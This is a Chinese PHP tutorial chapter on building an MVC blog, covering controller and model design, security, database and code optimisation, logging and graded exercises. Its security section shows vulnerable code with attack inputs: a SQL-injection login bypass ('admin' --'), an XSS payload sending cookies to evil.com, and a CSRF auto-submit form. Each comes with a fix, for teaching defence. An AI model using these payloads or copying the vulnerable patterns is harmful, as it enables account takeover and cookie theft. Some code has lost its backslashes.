评论系统
添加文章评论功能
评论审核机制回复评论功能
分类和标签
完善文章分类系统
标签云功能按分类/标签筛选文章
搜索功能
全文搜索
高级搜索筛选搜索建议
用户功能
用户个人资料页
头像上传密码重置功能
性能优化
缓存优化
使用Redis缓存热门文章
页面静态化数据库查询缓存
前端优化
使用CDN加速静态资源
图片懒加载代码压缩和合并
数据库优化
读写分离
分表分库查询优化
安全增强
增强认证安全
双因素认证
登录失败限制会话固定防护
输入验证增强
文件上传验证
富文本编辑器XSS防护API请求验证
监控和日志
实时监控系统
安全事件日志异常报警
最佳实践
1. MVC架构最佳实践
控制器设计原则
<?php
// 好的控制器设计
class PostController extends Controller
{
// 每个方法只做一件事
public function show($id)
{
// 1. 验证输入
$id = (int)$id;
if ($id <= 0) {
return $this->redirect('/posts');
}
// 2. 调用模型获取数据
$post = $this->postModel->find($id);
if (!$post) {
return $this->redirect('/posts');
}
// 3. 处理业务逻辑
$post->incrementViews();
// 4. 准备视图数据
$data = [
'post' => $post,
'relatedPosts' => $this->postModel->getRelated($post),
];
// 5. 渲染视图
return $this->render('post/show', $data);
}
// 避免在控制器中编写复杂业务逻辑
public function create()
{
// 错误示例:业务逻辑在控制器中
// $tags = explode(',', $_POST['tags']);
// foreach ($tags as $tag) {
// $tagId = $this->saveTag($tag);
// $this->linkTagToPost($postId, $tagId);
// }
// 正确做法:将业务逻辑放到模型或服务类中
$postService = new PostService();
$result = $postService->createPost($_POST);
// 控制器只负责协调和响应
if ($result) {
$this->redirect('/posts/' . $result->id);
} else {
$this->redirect('/posts/create');
}
}
}
模型设计原则
<?php
// 好的模型设计
class Post extends Model
{
// 使用类型声明
public function find(int $id): ?self
{
// 业务逻辑在模型中
}
// 单一职责原则
public function publish(): bool
{
$this->status = 'published';
$this->published_at = date('Y-m-d H:i:s');
return $this->save();
}
// 使用查询作用域
public function scopePublished($query)
{
return $query->where('status', 'published');
}
public function scopeByAuthor($query, int $authorId)
{
return $query->where('author_id', $authorId);
}
// 使用关系方法
public function author(): BelongsTo
{
return $this->belongsTo(User::class, 'author_id');
}
public function comments(): HasMany
{
return $this->hasMany(Comment::class, 'post_id');
}
}
2. 安全编程最佳实践
SQL注入防护完整方案
<?php
// 错误的做法(易受SQL注入攻击)
class UnsafeUserModel
{
public function login($username, $password)
{
// 直接拼接SQL语句 - 危险!
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $this->db->query($sql);
// 攻击者可以输入: admin' --
// SQL变为: SELECT * FROM users WHERE username = 'admin' -- ' AND password = ''
// -- 是SQL注释,会忽略后面的条件,从而绕过密码验证
return $result->fetch();
}
}
// 正确的做法(使用预处理语句)
class SafeUserModel
{
public function login(string $username, string $password): ?array
{
// 使用预处理语句
$sql = "SELECT * FROM users WHERE username = :username";
$stmt = $this->db->prepare($sql);
// 绑定参数
$stmt->bindParam(':username', $username, PDO::PARAM_STR);
// 执行查询
$stmt->execute();
$user = $stmt->fetch();
// 验证密码(使用password_verify)
if ($user && password_verify($password, $user['password'])) {
return $user;
}
return null;
}
// 使用命名占位符提高可读性
public function searchPosts(array $filters): array
{
$sql = "SELECT * FROM posts WHERE 1=1";
$params = [];
if (!empty($filters['category'])) {
$sql .= " AND category_id = :category";
$params[':category'] = $filters['category'];
}
if (!empty($filters['author'])) {
$sql .= " AND author_id = :author";
$params[':author'] = $filters['author'];
}
if (!empty($filters['keyword'])) {
$sql .= " AND (title LIKE :keyword OR content LIKE :keyword)";
$params[':keyword'] = '%' . $filters['keyword'] . '%';
}
$stmt = $this->db->prepare($sql);
$stmt->execute($params);
return $stmt->fetchAll();
}
}
XSS防护完整方案
<?php
// XSS攻击示例
class XSSVulnerableController
{
public function showComment()
{
// 从数据库获取用户评论
$comment = $this->getCommentFromDatabase();
// 直接输出到HTML - 危险!
echo "<div class='comment'>" . $comment['content'] . "</div>";
// 攻击者可以提交: <script>alert('XSS');</script>
// 或者更危险的: <script>document.location='http://evil.com/steal?cookie='+document.cookie;</script>
}
}
// XSS防护方案
class XSSSafeController
{
public function showComment()
{
$comment = $this->getCommentFromDatabase();
// 方案1: 使用htmlspecialchars转义
$safeContent = htmlspecialchars($comment['content'], ENT_QUOTES, 'UTF-8');
echo "<div class='comment'>" . $safeContent . "</div>";
// 方案2: 使用模板引擎自动转义
// 大多数现代模板引擎(如Twig、Blade)默认自动转义
return $this->view->render('comment', [
'comment' => $comment, // 模板中自动转义
]);
}
// 针对不同上下文的转义
public function outputInDifferentContexts()
{
$userInput = $_GET['input'];
// 1. HTML上下文
$htmlSafe = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// 2. JavaScript上下文
$jsSafe = json_encode($userInput, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
// 3. URL上下文
$urlSafe = urlencode($userInput);
// 4. CSS上下文
$cssSafe = preg_replace('/[^a-zA-Z0-9]/', '', $userInput); // 简单示例
// 5. 富文本编辑器内容(允许有限的HTML)
$allowedTags = '<p><br><strong><em><a><ul><ol><li>';
$richTextSafe = strip_tags($userInput, $allowedTags);
return [
'html' => $htmlSafe,
'js' => $jsSafe,
'url' => $urlSafe,
'css' => $cssSafe,
'rich_text' => $richTextSafe,
];
}
}
CSRF防护完整方案
<?php
// CSRF攻击示例
// 攻击者在自己的网站放置一个表单:
// <form action="http://victim.com/transfer" method="POST">
// <input type="hidden" name="amount" value="1000">
// <input type="hidden" name="to" value="attacker">
// </form>
// <script>document.forms[0].submit();</script>
// 如果用户已登录victim.com,浏览器会自动携带Cookie,导致请求被处理
// CSRF防护方案
class CSRFSafeController extends Controller
{
// 生成CSRF令牌
protected function generateCsrfToken(): string
{
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// 验证CSRF令牌
protected function validateCsrfToken(): bool
{
$token = $_POST['csrf_token'] ?? '';
$sessionToken = $_SESSION['csrf_token'] ?? '';
// 使用hash_equals防止时序攻击
return !empty($token) && hash_equals($sessionToken, $token);
}
// 在表单中包含CSRF令牌
public function showTransferForm()
{
$token = $this->generateCsrfToken();
return <<<HTML
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="{$token}">
金额: <input type="number" name="amount">
收款人: <input type="text" name="to">
<button type="submit">转账</button>
</form>
HTML;
}
// 处理表单时验证令牌
public function processTransfer()
{
if (!$this->validateCsrfToken()) {
$this->setFlash('error', 'CSRF令牌验证失败');
$this->redirect('/transfer');
return;
}
// 处理转账逻辑
$amount = $_POST['amount'];
$to = $_POST['to'];
// ... 转账逻辑
}
// 双重提交Cookie方案
public function doubleSubmitCookie()
{
// 1. 服务器设置一个随机Cookie
$cookieToken = bin2hex(random_bytes(16));
setcookie('csrf_token', $cookieToken, time() + 3600, '/', '', true, true);
// 2. 表单中包含相同的值
return <<<HTML
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="{$cookieToken}">
<!-- 表单字段 -->
</form>
HTML;
// 3. 服务器验证Cookie和表单中的值是否匹配
$cookieToken = $_COOKIE['csrf_token'] ?? '';
$formToken = $_POST['csrf_token'] ?? '';
if (hash_equals($cookieToken, $formToken)) {
// 验证通过
}
}
}
3. 性能优化最佳实践
数据库优化技巧
<?php
class DatabaseOptimization
{
// 1. 使用索引优化查询
public function getPopularPosts()
{
// 为经常查询的字段添加索引
// CREATE INDEX idx_posts_status ON posts(status);
// CREATE INDEX idx_posts_created ON posts(created_at DESC);
// 使用覆盖索引
$sql = "SELECT post_id, title, created_at FROM posts
WHERE status = 'published'
ORDER BY created_at DESC
LIMIT 10";
// 避免在WHERE子句中使用函数
// 错误: WHERE DATE(created_at) = '2023-01-01'
// 正确: WHERE created_at >= '2023-01-01' AND created_at < '2023-01-02'
}
// 2. 避免N+1查询问题
public function getPostsWithAuthorsBad()
{
$posts = $this->getAllPosts();
// N+1查询问题:先查询文章,再为每篇文章查询作者
foreach ($posts as $post) {
$author = $this->getAuthor($post['author_id']); // 每次循环都查询数据库
$post['author'] = $author;
}
return $posts;
}
public function getPostsWithAuthorsGood()
{
// 使用JOIN一次查询所有数据
$sql = "SELECT p.*, u.username, u.display_name
FROM posts p
LEFT JOIN users u ON p.author_id = u.user_id
WHERE p.status = 'published'
ORDER BY p.created_at DESC";
return $this->db->query($sql)->fetchAll();
}
// 3. 使用分页
public function getPostsPaginated(int $page = 1, int $perPage = 10)
{
$offset = ($page - 1) * $perPage;
// 使用LIMIT和OFFSET
$sql = "SELECT * FROM posts
WHERE status = 'published'
ORDER BY created_at DESC
LIMIT :limit OFFSET :offset";
$stmt = $this->db->prepare($sql);
$stmt->bindValue(':limit', $perPage, PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
$stmt->execute();
return $stmt->fetchAll();
}
// 4. 使用缓存
public function getCachedPosts()
{
$cacheKey = 'popular_posts_' . date('Y-m-d');
// 尝试从缓存获取
$cached = $this->cache->get($cacheKey);
if ($cached !== false) {
return $cached;
}
// 缓存未命中,查询数据库
$posts = $this->getPopularPostsFromDatabase();
// 存入缓存,有效期1小时
$this->cache->set($cacheKey, $posts, 3600);
return $posts;
}
}
PHP代码优化技巧
<?php
class PHPCodeOptimization
{
// 1. 使用正确的数据结构
public function arrayOptimization()
{
// 使用isset()检查数组键是否存在
$array = ['key' => 'value'];
// 错误:先检查再访问
if (array_key_exists('key', $array)) {
$value = $array['key'];
}
// 正确:直接访问并检查
$value = $array['key'] ?? null;
// 使用引用避免数组复制
$bigArray = range(1, 100000);
// 错误:每次赋值都会复制数组
foreach ($bigArray as $item) {
// 处理$item
}
// 正确:使用引用
foreach ($bigArray as &$item) {
// 处理$item
}
unset($item); // 重要:取消引用
}
// 2. 字符串操作优化
public function stringOptimization()
{
// 使用单引号定义简单字符串
$str = 'Hello World'; // 比双引号快
// 连接大量字符串时使用implode
$parts = [];
for ($i = 0; $i < 1000; $i++) {
$parts[] = 'part' . $i;
}
$result = implode('', $parts); // 比循环连接快
// 使用str_replace而不是preg_replace(如果可能)
$text = str_replace('old', 'new', $text); // 比preg_replace快
}
// 3. 循环优化
public function loopOptimization()
{
$array = range(1, 10000);
// 在循环外计算长度
$count = count($array);
for ($i = 0; $i < $count; $i++) {
// 每次循环不会调用count()
}
// 使用foreach代替for(通常更快)
foreach ($array as $value) {
// 处理$value
}
// 避免在循环中执行数据库查询
// 错误:在循环中查询数据库
foreach ($userIds as $userId) {
$user = $this->getUserFromDatabase($userId); // 每次循环都查询
}
// 正确:一次查询所有数据
$users = $this->getUsersByIds($userIds); // 一次查询
foreach ($users as $user) {
// 处理用户
}
}
// 4. 使用生成器处理大数据
public function processLargeFile()
{
// 传统方式:一次性读取整个文件到内存
$lines = file('large.log'); // 可能内存不足
foreach ($lines as $line) {
// 处理每一行
}
// 使用生成器:逐行读取
function readLargeFile($filename)
{
$file = fopen($filename, 'r');
try {
while (!feof($file)) {
yield fgets($file);
}
} finally {
fclose($file);
}
}
foreach (readLargeFile('large.log') as $line) {
// 处理每一行,内存友好
}
}
// 5. 启用OPCache
public function enableOpCache()
{
// 在php.ini中配置
/*
[opcache]
opcache.enable=1
opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
*/
// 检查OPCache状态
if (function_exists('opcache_get_status')) {
$status = opcache_get_status();
print_r($status);
}
}
}
4. 错误处理和日志记录最佳实践
<?php
class ErrorHandlingBestPractices
{
// 1. 使用异常处理
public function processOrder($orderData)
{
try {
// 验证订单数据
$this->validateOrder($orderData);
// 处理支付
$paymentResult = $this->processPayment($orderData);
// 创建订单记录
$orderId = $this->createOrder($orderData);
// 发送确认邮件
$this->sendConfirmationEmail($orderData);
return $orderId;
} catch (ValidationException $e) {
// 输入验证错误
Logger::warning('订单验证失败: ' . $e->getMessage());
throw new UserException('订单数据无效: ' . $e->getMessage());
} catch (PaymentException $e) {
// 支付处理错误
Logger::error('支付处理失败: ' . $e->getMessage());
throw new UserException('支付失败,请重试或联系客服');
} catch (DatabaseException $e) {
// 数据库错误
Logger::critical('数据库错误: ' . $e->getMessage());
throw new SystemException('系统错误,请稍后重试');
} catch (EmailException $e) {
// 邮件发送错误(非关键错误)
Logger::error('邮件发送失败: ' . $e->getMessage());
// 继续执行,不抛出异常
} finally {
// 无论是否发生异常都会执行
$this->cleanup();
}
}
// 2. 自定义异常类
class ValidationException extends RuntimeException
{
private $errors;
public function __construct(array $errors, $message = '验证失败')
{
$this->errors = $errors;
parent::__construct($message . ': ' . implode(', ', $errors));
}
public function getErrors(): array
{
return $this->errors;
}
}
class BusinessException extends RuntimeException
{
private $code;
public function __construct(string $message, string $code = 'BUSINESS_ERROR')
{
$this->code = $code;
parent::__construct($message);
}
public function getErrorCode(): string
{
return $this->code;
}
}
// 3. 全局异常处理器
public function registerGlobalExceptionHandler()
{
set_exception_handler(function ($exception) {
// 记录异常
Logger::critical('未捕获的异常: ' . $exception->getMessage(), [
'file' => $exception->getFile(),
'line' => $exception->getLine(),
'trace' => $exception->getTraceAsString(),
]);
// 根据环境显示不同错误页面
if (APP_ENV === 'production') {
// 生产环境:显示友好错误页面
http_response_code(500);
include 'views/errors/500.html';
} else {
// 开发环境:显示详细错误信息
echo '<h1>未捕获的异常</h1>';
echo '<p><strong>消息:</strong> ' . htmlspecialchars($exception->getMessage()) . '</p>';
echo '<p><strong>文件:</strong> ' . $exception->getFile() . '</p>';
echo '<p><strong>行号:</strong> ' . $exception->getLine() . '</p>';
echo '<pre>' . htmlspecialchars($exception->getTraceAsString()) . '</pre>';
}
exit(1);
});
}
// 4. 使用Monolog进行结构化日志记录
public function setupMonolog()
{
use MonologLogger;
use MonologHandlerStreamHandler;
use MonologHandlerRotatingFileHandler;
use MonologFormatterJsonFormatter;
// 创建日志通道
$log = new Logger('app');
// 添加处理器
$streamHandler = new StreamHandler('logs/app.log', Logger::DEBUG);
$log->pushHandler($streamHandler);
// 按日期轮转日志文件
$rotatingHandler = new RotatingFileHandler('logs/app.log', 30, Logger::DEBUG);
$log->pushHandler($rotatingHandler);
// 使用JSON格式
$jsonFormatter = new JsonFormatter();
$streamHandler->setFormatter($jsonFormatter);
// 记录不同级别的日志
$log->debug('调试信息', ['user_id' => 123, 'action' => 'login']);
$log->info('用户登录成功', ['username' => 'john']);
$log->warning('API响应缓慢', ['endpoint' => '/api/users', 'response_time' => 2.5]);
$log->error('数据库连接失败', ['host' => 'localhost', 'error' => $e->getMessage()]);
$log->critical('系统崩溃', ['reason' => '内存不足', 'memory' => memory_get_usage()]);
return $log;
}
// 5. 错误上下文记录
public function logWithContext()
{
$logger = $this->setupMonolog();
// 添加处理器上下文
$logger->pushProcessor(function ($record) {
// 添加请求ID
$record['extra']['request_id'] = uniqid();
// 添加用户信息
$record['extra']['user_id'] = $_SESSION['user_id'] ?? null;
$record['extra']['ip'] = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
// 添加请求信息
$record['extra']['method'] = $_SERVER['REQUEST_METHOD'] ?? 'unknown';
$record['extra']['uri'] = $_SERVER['REQUEST_URI'] ?? 'unknown';
return $record;
});
// 使用
$logger->info('用户操作', [
'action' => 'update_profile',
'data' => ['field' => 'email', 'old_value' => 'old@example.com', 'new_value' => 'new@example.com'],
]);
}
}
练习题与挑战
基础练习题
1. 路由配置练习
题目:为个人博客系统添加以下路由功能:
用户个人资料页:按标签查看文章:
/user/{username}文章搜索功能:
/tag/{tagName}
/search?q=关键词
要求:
在Router类中添加对应的路由规则创建相应的控制器方法实现简单的视图模板
难度:⭐☆☆☆☆
解题提示:
<?php
// 在Router中添加路由规则
$router->add('user/{username}', ['controller' => 'User', 'action' => 'profile']);
$router->add('tag/{tagName}', ['controller' => 'Post', 'action' => 'byTag']);
$router->add('search', ['controller' => 'Post', 'action' => 'search']);
// 创建UserController
class UserController extends Controller
{
public function profile($params)
{
$username = $params['username'] ?? '';
// 根据用户名获取用户信息
// 渲染用户资料页面
}
}
2. 表单验证增强
题目:为注册表单添加以下验证规则:
用户名必须包含字母和数字,长度3-20字符密码必须包含大小写字母和数字,长度8-32字符邮箱必须验证格式且检查域名有效性显示具体的验证错误信息
要求:使用正则表达式进行复杂验证实现密码强度检查友好的错误提示
难度:⭐⭐☆☆☆
解题提示:
<?php
// 密码强度验证函数
function validatePasswordStrength(string $password): array
{
$errors = [];
if (strlen($password) < 8) {
$errors[] = '密码长度至少8位';
}
if (!preg_match('/[A-Z]/', $password)) {
$errors[] = '密码必须包含至少一个大写字母';
}
if (!preg_match('/[a-z]/', $password)) {
$errors[] = '密码必须包含至少一个小写字母';
}
if (!preg_match('/[0-9]/', $password)) {
$errors[] = '密码必须包含至少一个数字';
}
return $errors;
}
// 邮箱域名验证
function validateEmailDomain(string $email): bool
{
$domain = substr(strrchr($email, "@"), 1);
return checkdnsrr($domain, 'MX');
}
进阶练习题
3. 实现文章评论系统
题目:为博客系统添加评论功能,要求:
登录用户可以对文章发表评论支持评论回复(嵌套评论)管理员可以审核、编辑、删除评论防止评论灌水和垃圾信息
要求:设计评论数据库表结构实现评论模型和控制器添加评论表单和显示实现评论审核机制
难度:⭐⭐⭐☆☆
解题提示:
-- 评论表结构设计
CREATE TABLE blog_comments (
comment_id INT PRIMARY KEY AUTO_INCREMENT,
post_id INT NOT NULL,
user_id INT,
parent_id INT DEFAULT NULL,
author_name VARCHAR(100),
author_email VARCHAR(100),
author_ip VARCHAR(45),
content TEXT NOT NULL,
status ENUM('pending', 'approved', 'spam', 'trash') DEFAULT 'pending',
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (post_id) REFERENCES blog_posts(post_id) ON DELETE CASCADE,
FOREIGN KEY (user_id) REFERENCES blog_users(user_id) ON DELETE SET NULL,
FOREIGN KEY (parent_id) REFERENCES blog_comments(comment_id) ON DELETE CASCADE,
INDEX idx_post_status (post_id, status),
INDEX idx_parent (parent_id)
);
4. 实现文件上传功能
题目:为博客系统添加文件上传功能,要求:
用户可以在文章中上传图片管理员可以上传文章特色图片实现安全的文件上传验证支持图片缩略图生成
要求:实现文件上传控制器添加文件类型和大小验证防止文件上传漏洞使用GD库或Imagick生成缩略图
难度:⭐⭐⭐⭐☆
解题提示:
<?php
class FileUploader
{
public function uploadImage(array $file): array
{
// 验证文件上传错误
if ($file['error'] !== UPLOAD_ERR_OK) {
throw new UploadException('文件上传失败');
}
// 验证文件类型
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file['tmp_name']);
if (!in_array($mimeType, $allowedTypes)) {
throw new UploadException('不支持的文件类型');
}
// 验证文件扩展名
$extension = pathinfo($file['name'], PATHINFO_EXTENSION);
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array(strtolower($extension), $allowedExtensions)) {
throw new UploadException('不支持的文件扩展名');
}
// 验证文件大小(最大5MB)
$maxSize = 5 * 1024 * 1024;
if ($file['size'] > $maxSize) {
throw new UploadException('文件大小不能超过5MB');
}
// 生成安全文件名
$safeFilename = uniqid() . '_' . bin2hex(random_bytes(8)) . '.' . $extension;
$uploadPath = 'uploads/' . date('Y/m/d') . '/' . $safeFilename;
// 创建目录
$fullPath = APP_ROOT . '/public/' . $uploadPath;
$dir = dirname($fullPath);
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
}
// 移动文件
if (!move_uploaded_file($file['tmp_name'], $fullPath)) {
throw new UploadException('文件保存失败');
}
// 生成缩略图
$this->generateThumbnail($fullPath);
return [
'path' => $uploadPath,
'filename' => $safeFilename,
'original_name' => $file['name'],
'size' => $file['size'],
'mime_type' => $mimeType,
];
}
private function generateThumbnail(string $imagePath): void
{
// 使用GD库生成缩略图
$info = getimagesize($imagePath);
if ($info === false) {
return;
}
list($width, $height, $type) = $info;
switch ($type) {
case IMAGETYPE_JPEG:
$source = imagecreatefromjpeg($imagePath);
break;
case IMAGETYPE_PNG:
$source = imagecreatefrompng($imagePath);
break;
case IMAGETYPE_GIF:
$source = imagecreatefromgif($imagePath);
break;
default:
return;
}
// 计算缩略图尺寸
$thumbWidth = 200;
$thumbHeight = floor($height * ($thumbWidth / $width));
$thumbnail = imagecreatetruecolor($thumbWidth, $thumbHeight);
// 保持透明色(PNG/GIF)
if ($type == IMAGETYPE_PNG || $type == IMAGETYPE_GIF) {
imagealphablending($thumbnail, false);
imagesavealpha($thumbnail, true);
$transparent = imagecolorallocatealpha($thumbnail, 255, 255, 255, 127);
imagefilledrectangle($thumbnail, 0, 0, $thumbWidth, $thumbHeight, $transparent);
}
// 生成缩略图
imagecopyresampled($thumbnail, $source, 0, 0, 0, 0, $thumbWidth, $thumbHeight, $width, $height);
// 保存缩略图
$thumbPath = preg_replace('/(.w+)$/', '_thumb$1', $imagePath);
switch ($type) {
case IMAGETYPE_JPEG:
imagejpeg($thumbnail, $thumbPath, 85);
break;
case IMAGETYPE_PNG:
imagepng($thumbnail, $thumbPath);
break;
case IMAGETYPE_GIF:
imagegif($thumbnail, $thumbPath);
break;
}
imagedestroy($source);
imagedestroy($thumbnail);
}
}
综合挑战题
5. 实现API接口
题目:为博客系统实现RESTful API接口,要求:
文章API:获取文章列表、单篇文章、创建、更新、删除文章用户API:用户注册、登录、获取用户信息评论API:获取评论、发表评论实现API身份验证(JWT)添加API版本控制
要求:设计API路由和控制器实现JWT身份验证中间件返回JSON格式响应添加API文档(OpenAPI/Swagger)
难度:⭐⭐⭐⭐⭐
解题提示:
<?php
// API路由
$router->add('api/v1/posts', ['controller' => 'ApiPost', 'action' => 'index']);
$router->add('api/v1/posts/{id:d+}', ['controller' => 'ApiPost', 'action' => 'show']);
$router->add('api/v1/posts', ['controller' => 'ApiPost', 'action' => 'store'], 'POST');
$router->add('api/v1/posts/{id:d+}', ['controller' => 'ApiPost', 'action' => 'update'], 'PUT');
$router->add('api/v1/posts/{id:d+}', ['controller' => 'ApiPost', 'action' => 'destroy'], 'DELETE');
// API基础控制器
namespace AppControllersApi;
use AppCoreController;
class ApiController extends Controller
{
protected function requireAuth(): void
{
$token = $this->getBearerToken();
if (!$token || !$this->validateJwt($token)) {
$this->jsonResponse(['error' => '未授权访问'], 401);
exit;
}
}
protected function jsonResponse(array $data, int $statusCode = 200): void
{
header('Content-Type: application/json');
http_response_code($statusCode);
echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
exit;
}
private function getBearerToken(): ?string
{
$headers = getallheaders();
$authHeader = $headers['Authorization'] ?? '';
if (preg_match('/Bearers+(S+)/', $authHeader, $matches)) {
return $matches[1];
}
return null;
}
private function validateJwt(string $token): bool
{
// JWT验证逻辑
// 使用firebase/php-jwt库
try {
$decoded = FirebaseJWTJWT::decode($token, new Key(JWT_SECRET, 'HS256'));
return true;
} catch (Exception $e) {
return false;
}
}
}
6. 实现后台管理系统
题目:为博客系统开发完整的管理后台,要求:
仪表板:显示系统统计信息用户管理:查看、编辑、删除用户,修改用户角色文章管理:审核文章,管理文章分类评论管理:审核、回复、删除评论系统设置:网站基本设置,SEO设置
要求:使用单独的命名空间(Admin)实现权限控制(RBAC)响应式管理界面数据可视化图表
难度:⭐⭐⭐⭐⭐
解题提示:
<?php
// 管理员中间件
namespace AppMiddleware;
class AdminMiddleware
{
public function handle(): void
{
session_start();
if (!isset($_SESSION['user_id'])) {
header('Location: /admin/login');
exit;
}
$user = $this->getUser($_SESSION['user_id']);
if (!$user || !$user->isAdmin()) {
header('Location: /');
exit;
}
}
// 在AdminController中应用中间件
class AdminController extends Controller
{
public function __construct()
{
$middleware = new AdminMiddleware();
$middleware->handle();
}
}
}
// 角色权限检查
class RoleBasedAccessControl
{
private $permissions = [
'admin' => ['*'], // 所有权限
'editor' => [
'post.create',
'post.edit',
'post.delete',
'comment.manage',
],
'user' => [
'post.create',
'comment.create',
],
];
public function can(string $permission, User $user): bool
{
$role = $user->role;
if (!isset($this->permissions[$role])) {
return false;
}
// 检查通配符
if (in_array('*', $this->permissions[$role])) {
return true;
}
return in_array($permission, $this->permissions[$role]);
}
}
章节总结
本章重点知识回顾
MVC架构实践:
掌握了如何设计符合MVC模式的目录结构
理解了前端控制器、路由、控制器、模型、视图各组件的作用和协作方式学会了如何将业务逻辑合理分配到不同的层次
项目组织与架构:
掌握了使用Composer管理依赖和自动加载
学会了配置管理和环境变量分离理解了现代PHP项目的最佳目录结构
安全编程综合应用:
在实践中应用了SQL注入防护、XSS防护、CSRF防护
实现了安全的用户认证和会话管理掌握了输入验证和输出转义的具体实现
错误处理与日志记录:
在项目中集成了异常处理机制
实现了结构化的日志记录系统掌握了如何优雅地处理各种错误情况
数据库设计与优化:
设计了合理的数据表结构
实现了ORM风格的数据库操作掌握了常见的数据库优化技巧
技能掌握要求
完成本章学习后,你应该能够:
独立搭建MVC项目:
从零开始搭建一个符合MVC架构的PHP项目
设计合理的目录结构和类组织配置路由系统和自动加载
实现核心功能模块:
开发用户认证系统
实现数据的CRUD操作构建安全的表单处理流程
应用安全防护措施:
识别和防范常见Web安全威胁
实现输入验证和输出转义设计安全的用户会话管理
进行项目部署和维护:
配置生产环境
优化应用性能监控和排查问题
编写高质量代码:
遵循PSR




